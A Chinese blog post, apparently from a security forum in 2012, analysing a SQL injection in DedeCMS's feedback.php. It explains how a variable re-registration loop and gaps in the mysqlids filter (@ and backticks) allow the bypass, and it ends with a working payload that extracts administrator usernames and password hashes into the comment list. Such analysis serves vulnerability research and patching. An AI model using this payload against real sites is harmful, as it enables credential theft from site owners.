最近dede注入漏洞分析

2012-11-12 10:51:00 22 6893
这个分析是我根据90sec论坛上花若相惜分析的基础上,自己另外分析的,加了一些自己的分析,和他没有细讲的内容,和原文不太一样。

0x01 简述
        2012年10月30日一个名为cyg07的白帽子向乌云提交了这个注入漏洞。可以导致注入的原因是$typeid变量没有做任何校验,便插入进了SQL语句,导致攻击者可以将查询内容插入进评论位置。
Dedecms所有版本均受影响,官方已经发布了针对这个漏洞的补丁。漏洞在乌云报告地址为http://www.wooyun.org/bugs/wooyun-2010-014076
0x02 分析
        漏洞出现在plus\feedback.php文件中,关键代码如下:
...
if($comtype == 'comments')
    {
        $arctitle = addslashes($title);
        if($msg!='')
        {//$typeid变量未做初始化
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
                echo $inquery;//调试,输出查询语句
            $rs = $dsql->ExecuteNoneQuery($inquery);
            if(!$rs)
            {
                ShowMsg(' 发表评论错误! ', '-1');
                //echo $dsql->GetError();
                exit();
            }
        }
    }

}
$typeid为用户可控变量,且在插入SQL语句前未进行任何校验,导致攻击者可以将自己构建的SQL语句插入到原有语句中。但是在文件开头包含如下内容:
require_once(dirname(__FILE__)."/../include/common.inc.php");
if($cfg_feedback_forbid=='Y') exit('系统已经禁止评论功能!');
require_once(DEDEINC."/filter.inc.php");
在common.inc.php中会对所有request内容进行转义,代码如下:
function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}
…..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v)
                {
                        if($_k == 'nvarname') ${$_k} = $_v;
                        else ${$_k} = _RunMagicQuotes($_v);
                }
    }
….
但是在后面的filter.inc.php文件中有如下代码:
function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr,$cfg_replacestr;
    if( is_array($svar) )
    {
        foreach($svar as $_k => $_v)
        {
            $svar[$_k] = _FilterAll($fk,$_v);
        }
    }
    else
    {
        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
        {
            ShowMsg(" $fk has not allow words!",'-1');
            exit();
        }
        if($cfg_replacestr!='')
        {
            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
        }
    }
    return $svar;
}

/* 对_GET,_POST,_COOKIE进行过滤 */
[color=Red]foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}[/color]
这段代码的目的是为了过滤一些敏感名词,但是在红色代码段对GET,POST,COOKIE变量进行了重新注册,导致绕过了之前的转义过滤。提交带有typeid=1’的数据包到feedback.php,将SQL语句打印出来,效果如下:

        所以在这个页面攻击者可以提交带有单引号的语句来对原有SQL语句进行封闭,但是由于dedecms封装了80sec开发的mysqlids,校验SQL语句中的内容。判断SQL语句中是否存在union,sleep,load_file,子查询等攻击者可能会用到的SQL语句。下面来看下mysqlids校验文件的代码片段:
while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
这段代码中将SQL语句中,单引号中所包含的内容视为可信的,用$s$代替,然后会在后面校验重新组合的SQL语句,查看其中是否有非法的查询语句。但是在校验内容中,未过滤mysql的定义用户变量的关键字@和关键字封闭字符“`”(反引号)。
        这将导致攻击者可以通过这个方法在不引起mysql语法错误的情况下,构造两个单引号,这两个带引号之间的内容为恶意的SQL语句,凭此来绕过mysqlids的检测。
0x03 验证
        这个漏洞的能够实现利用的前提是GPC关闭,利用PoC如下:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `#@__admin`)),(1,’1111
这段PoC插入到提交表单中,提交到目标的SQL语句就变成了:
INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','123’,@`’`,0x11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `#@__admin`)),(1,’1111','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','sss');
原SQL语句多了一条插入内容,msg字段的内容变为dede数据库中管理员表的用户名和密码。
        实施效果如下:


        管理员的用户名和密码都插入到了评论列表中了。

关于作者

唐门三少17篇文章105篇回复

评论22次

要评论?请先  登录  或  注册